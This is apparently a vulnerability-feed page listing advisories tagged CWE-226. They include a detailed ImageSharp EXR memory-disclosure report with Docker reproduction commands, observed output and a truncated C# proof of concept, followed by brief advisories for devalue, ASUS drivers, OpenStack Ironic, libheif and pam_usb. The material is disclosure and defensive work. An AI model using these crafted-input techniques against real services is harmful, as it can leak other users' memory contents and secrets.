Threats Tagged 'cwe-226'

## Summary A crafted ZIP-compressed OpenEXR image can return stale memory from a prior ImageSharp operation as decoded pixels. The ZIP decoder accepts a non-empty inflate result shorter than the EXR block's required size, then the EXR decoder reads the full expected block. This is a process-local, cross-operation information-disclosure defect. It is relevant when an application uses the shared `Configuration.Default` allocator for separate image operations and exposes pixels or output derived from a later attacker-controlled EXR decode. Whether that creates a network attack path depends on the host application. No active exploitation is known. ## Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected published releases: **4.0.0, 4.1.0, and 4.1.1** - Affected range: `>= 4.0.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. EXR support first appears in v4.0.0. The cross-operation PoC exposes the prior-operation marker on each published 4.x release, while the full-inflate control does not expose it on any of them. ## Details For ZIP/ZIPS EXR compression, [`ExrDecoderCore`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Exr/ExrDecoderCore.cs#L169-L205) allocates the expected block buffer without `AllocationOptions.Clean` and later interprets the complete buffer as channel data. [`ZipExrCompression`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Exr/Compression/Decompressors/ZipExrCompression.cs#L25-L38) accepts a partial but non-empty inflate result: [`UndoZipCompression`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Exr/Compression/ExrBaseDecompressor.cs#L45-L75) rejects only `totalRead == 0`. Only the returned prefix is reconstructed and interleaved into the destination block. The remaining bytes retain allocator contents from a completed prior operation. `ExrDecoderCore` then converts those bytes into returned image pixels. ## Reproduction The attached Docker PoC uses the published `SixLabors.ImageSharp` NuGet package version 4.1.1. It first completes a valid 64x1 FLOAT/ZIPS EXR encoding that contains the test value `0.27182817`. It then decodes a separate crafted 256x1 FLOAT/ZIPS EXR. The exploit payload inflates to 8 bytes although the declared image block needs 1024 bytes. The control payload inflates to all 1024 bytes. The marker is present only in exploit output. ```sh docker build -t imagesharp-4q3p-poc . docker run --rm imagesharp-4q3p-poc exploit docker run --rm imagesharp-4q3p-poc control ``` Test environment: Docker with `mcr.microsoft.com/dotnet/sdk:8.0`, .NET SDK 8.0.424 / .NET 8, Debian 12, Linux ARM64. Observed output: ```text imagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f mode=exploit prior-operation=valid-exr-encode-completed bytes=383 prior-value=0.27182817 leaked=True first-prior-value-pixel=4 imagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f mode=control prior-operation=valid-exr-encode-completed bytes=383 prior-value=0.27182817 leaked=False first-prior-value-pixel=-1 ``` ## Suggested remediation Reject ZIP/ZIPS EXR blocks unless the decompressor produces exactly the expected uncompressed byte count. Clearing the destination buffer is defense in depth, but exact-length validation is required before parsing any decompressed bytes. ### Complete PoC files Program.cs: ```csharp using System.Buffers.Binary; using System.Globalization; using System.IO.Compression; using System.Reflection; using System.Text; using SixLabors.ImageSharp; using SixLabors.ImageSharp.Formats; using SixLabors.ImageSharp.Formats.Exr; using SixLabors.ImageSharp.Formats.Exr.Constants; using SixLabors.ImageSharp.PixelFormats; // This performs two independent completed ImageSharp operations in one process. // The first is a valid EXR encoding containing a test value. The second is a // malformed EXR decode whose short ZIP result exposes that value from the // allocator shared through Configuration.Default. internal static class Program { private const int PriorWidth = 64; private const int AttackerWidth = 256; private const float PriorValue = 0.271828182f; private static int Main(string[] args) { bool exploit = args.Length == 0 || args[0] == "exploit"; if (args.Length > 0 && args[0] is not ("exploit" or "control")) { Console.Error.WriteLine("usage: final-4q3p [exploit|control]"); return 2; } Assembly imageSharp = typeof(Image).Assembly; string informationalVersion = imageSharp .GetCustomAttribute<AssemblyInformationalVersionAttribute>()? .InformationalVersion ?? "(missing)"; Console.WriteLine($"imagesharp-ass

Svelte devalue is a JavaScript library that serializes values into strings when JSON.stringify isn't sufficient for the job. In versions 5.1.0 through 5.9.2, stringify and uneval functions serialize a typed array by emitting its entire backing ArrayBuffer rather than only the view, so serializing a Node Buffer, whose backing store is a process-wide shared pool, discloses up to 64 KB of unrelated process memory, including bytes from other in-flight requests. In a server-side-rendered framework such as SvelteKit or Nuxt, a public page whose load() returns a small Buffer, or that reads a small file, can therefore ship another user's request body or Authorization header in its HTML without authentication. Because this occurs during serialization, it fires on every such render and is not mitigated by the parse/unflatten prototype-pollution and denial-of-service guards, which only apply when parsing untrusted input. As a workaround, convert Node Buffer objects to Uint8Array before serialization. This issue has been fixed in version 5.9.3.

CVE-2026-18023 is a medium severity vulnerability in the ASUS Armoury Crate driver where sensitive information is not properly cleared from memory before reuse. This flaw allows a local user to disclose sensitive data from uninitialized memory by sending a specially crafted IOCTL request that bypasses the driver's security checks.

Sensitive Information in Resource Not Removed Before Reuse in ASUS Armoury Crate driver allows a local user to disclose sensitive information from uninitialized memory via a crafted IOCTL request that bypasses the driver's security verification mechanism. Refer to the ' Security Update for Armoury Crate App ' section on the ASUS Security Advisory for more information.

In OpenStack Ironic before 38.0.1, the autodetect deploy interface may fail to run cleaning immediately after enrollment with, or changing to, the autodetect deploy interface.

In OpenStack Ironic before 38.0.1, the autodetect deploy interface may fail to run cleaning immediately after enrollment with, or changing to, the autodetect deploy interface.

libheif is a HEIF and AVIF file format decoder and encoder. Prior to version 1.22.0, two bugs in libheif chain to leak process heap memory as visible pixel values in decoded grid images. An attacker who uploads a crafted AVIF/HEIC file to any server-side image processor (WordPress, Sharp/libvips, ImageMagick, etc.) can recover heap data - including library function pointers sufficient to defeat ASLR, or any other secret - from the publicly-downloadable transcoded JPEG/PNG/WebP output. Local attack vectors are also possible. Version 1.22.0 fixes the issue.

Allocation of Resources Without Limits and Throttling and Sensitive Information in Resource Not Removed Before Reuse in the ASUS System Control Interface driver and ASUS Business Manager allow a local administrator to disclose sensitive information via crafted IOCTL requests, which, in severe cases, may lead to a Denial of Service (DoS) on the system. Refer to the '  Security Update for ASUS System Control Interface  ' section on the ASUS Security Advisory for more information.

This Red Hat Offline Knowledge Portal fixes several Solr-related CVEs. It also includes content updates as of June 16 2026.

pam_usb provides hardware authentication for Linux using ordinary removable media. In versions 0.9.1 and below, the xfree() memory release helper in calls free() without first zeroing the buffer contents, releasing heap-allocated buffers containing sensitive data — including one-time pad bytes read from disk — without clearing, leaving the sensitive content in freed heap memory until it happens to be overwritten by a subsequent allocation. On a system where a use-after-free condition exists, or where a heap inspection primitive becomes available, this could allow recovery of pad values or other authentication material from freed memory regions. This is a defence-in-depth requirement consistent with prior hardening work in this codebase (GHSA-vx6f-rrqr-j87c applied explicit_bzero to some pad paths; this issue generalises the pattern to the central deallocation helper).